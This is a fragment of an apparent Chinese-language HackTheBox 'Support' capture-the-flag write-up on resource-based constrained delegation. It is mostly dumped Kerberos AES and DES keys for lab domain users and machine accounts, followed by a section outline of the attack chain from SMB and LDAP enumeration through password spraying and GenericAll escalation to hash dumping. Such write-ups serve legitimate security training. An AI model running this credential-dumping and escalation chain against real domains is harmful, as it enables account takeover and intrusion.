support:aes128-cts-hmac-sha1-96:34a8a853cee33abe1668d7660a1affd9
support:des-cbc-md5:79fdc47f98ea70f2
smith.rosario:aes256-cts-hmac-sha1-96:4ce2d5be0ad97e2ff69e7103f3baee3ee58826dbf6061187f266859a294648b3
smith.rosario:aes128-cts-hmac-sha1-96:d181b8c4247a3fa19d7ad76d0026b264
smith.rosario:des-cbc-md5:495d086b52917c6e
hernandez.stanley:aes256-cts-hmac-sha1-96:665165633c8446cfc4264434307c336ddfd91372fda23dc318fb99369c6b78ec
hernandez.stanley:aes128-cts-hmac-sha1-96:8f62b1cba1910f730d905fe388acd69c
hernandez.stanley:des-cbc-md5:a24a340ec885046b
wilson.shelby:aes256-cts-hmac-sha1-96:3f72fd104691e5c59664834bba1d4b9ddbbfea30605cb2120fafa1ee8720b502
wilson.shelby:aes128-cts-hmac-sha1-96:1ea7512778994ec36b259d590df0a188
wilson.shelby:des-cbc-md5:622089cb10152fcd
anderson.damian:aes256-cts-hmac-sha1-96:cb56856b143d38b9191d16ab1e64f9460d06f29a406b37f3da9925a21d87d092
anderson.damian:aes128-cts-hmac-sha1-96:e18d3688bcacab591dabf00f080369f4
anderson.damian:des-cbc-md5:329ee6d3405834e5
thomas.raphael:aes256-cts-hmac-sha1-96:c1c5ec89304832e7bbbc3cc2a108671df6464bd5989e8156e84e540bcac12ac0
thomas.raphael:aes128-cts-hmac-sha1-96:e5212c20b62c46245fc7e3843b4db754
thomas.raphael:des-cbc-md5:8c2064c4e975e31c
levine.leopoldo:aes256-cts-hmac-sha1-96:f3f471fa904dafa639d562b713ca57d6668e8e58c4838490e1e038f70e86fabb
levine.leopoldo:aes128-cts-hmac-sha1-96:3b8c7b502154308728e6092a0c524190
levine.leopoldo:des-cbc-md5:0464734a207f5d04
raven.clifton:aes256-cts-hmac-sha1-96:5ead58d4439aa8e64ce828f628629b0798c192f9925908670779a212178bce70
raven.clifton:aes128-cts-hmac-sha1-96:a3862f3e0c9096d735eb9e075b46ed9e
raven.clifton:des-cbc-md5:b6252651b01ff452
bardot.mary:aes256-cts-hmac-sha1-96:54123fcaa07765a4d8136cf95cff67173d31d6c049f1d0936cb33c257aab20c5
bardot.mary:aes128-cts-hmac-sha1-96:a941571a50d40fa5771c8deffa44a501
bardot.mary:des-cbc-md5:bc79e0a8f7dfdc10
cromwell.gerard:aes256-cts-hmac-sha1-96:397983e21a3742e1d9c53bd51570a89dfdb9b79cfc15eb294500e16eee9c5a0c
cromwell.gerard:aes128-cts-hmac-sha1-96:a495521b2d0992a21d0cd6b968dbb042
cromwell.gerard:des-cbc-md5:0e2f37ae7c58310b
monroe.david:aes256-cts-hmac-sha1-96:13dd6e3f424e0e3b394964ceaf9f739c19a680c97648b1531b8e417012d9775d
monroe.david:aes128-cts-hmac-sha1-96:a15fd3bccfb2e7ead3bdf2fe4c47f355
monroe.david:des-cbc-md5:a86b5829047f2557
west.laura:aes256-cts-hmac-sha1-96:54a3167b1c9ee166874a6b09b08621394b049197270d4b754e8fedb78ee86b88
west.laura:aes128-cts-hmac-sha1-96:864381e434a5856d85c1f61bc8726378
west.laura:des-cbc-md5:8a923480ec7cd9d3
langley.lucy:aes256-cts-hmac-sha1-96:f2415b075b6e205864de19917a9989398672b062dad29d58af177d358e086998
langley.lucy:aes128-cts-hmac-sha1-96:20cdc3297fc8138726e34e45ba9f73d6
langley.lucy:des-cbc-md5:fd738a3dd0028fb0
daughtler.mabel:aes256-cts-hmac-sha1-96:7ce8f29915849ec300bd81341759d19c67e045501e1ee7e198fe37a7ee51af8d
daughtler.mabel:aes128-cts-hmac-sha1-96:791efedf5473d798dbc3267ce6d045aa
daughtler.mabel:des-cbc-md5:01ba80795bbc3ea8
stoll.rachelle:aes256-cts-hmac-sha1-96:d9cca58315e797cdb21ca8ad71278112357291a970a90084586a38d4c5ff38c2
stoll.rachelle:aes128-cts-hmac-sha1-96:c7768011ce94e18fae341bdfb5223bc3
stoll.rachelle:des-cbc-md5:b63d15683434b38f
ford.victoria:aes256-cts-hmac-sha1-96:de0a90f4f874ebb0937df96bc14308dcbb54835ac622ad16b79cf9509313f205
ford.victoria:aes128-cts-hmac-sha1-96:2241c9137590e4bde952ac411a1c22c6
ford.victoria:des-cbc-md5:13d573730ba8641f
DC$:aes256-cts-hmac-sha1-96:19f5843b12c792426c992fab1578af841fa2f1f17a28244e7ff609f1f92cd57b
DC$:aes128-cts-hmac-sha1-96:4d0df9e45f488ee5538c20fe1a4b8b8c
DC$:des-cbc-md5:ce0146e668b90b79
st4rry$:aes256-cts-hmac-sha1-96:355a848628ba03d4f0674aa8a05ddfed2a4b6d248b25bd406308cac19fe6472f
st4rry$:aes128-cts-hmac-sha1-96:00525d527fc6b1628a0073fc4cb06455
st4rry$:des-cbc-md5:8abfb3dace070716
esteesminuevopc$:aes256-cts-hmac-sha1-96:93b89d09f974bb176195d6e1ad85014e8b053ec36f8d39ffb6e325f4aeb21e1e
esteesminuevopc$:aes128-cts-hmac-sha1-96:5295a6e8b9b0237d9da977d9ad8c31d2
esteesminuevopc$:des-cbc-md5:fb04b315cdd9d640
[*] Cleaning up...</code></pre>

端口扫描

SMB_445 匿名登陆

反编译程序

LDAP_389

密码喷洒

GetShell

GenericAll 提权

使用powershell脚本

使用 Impacket 进行

dump Hash

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HackTheBox Support (RBCD学习)

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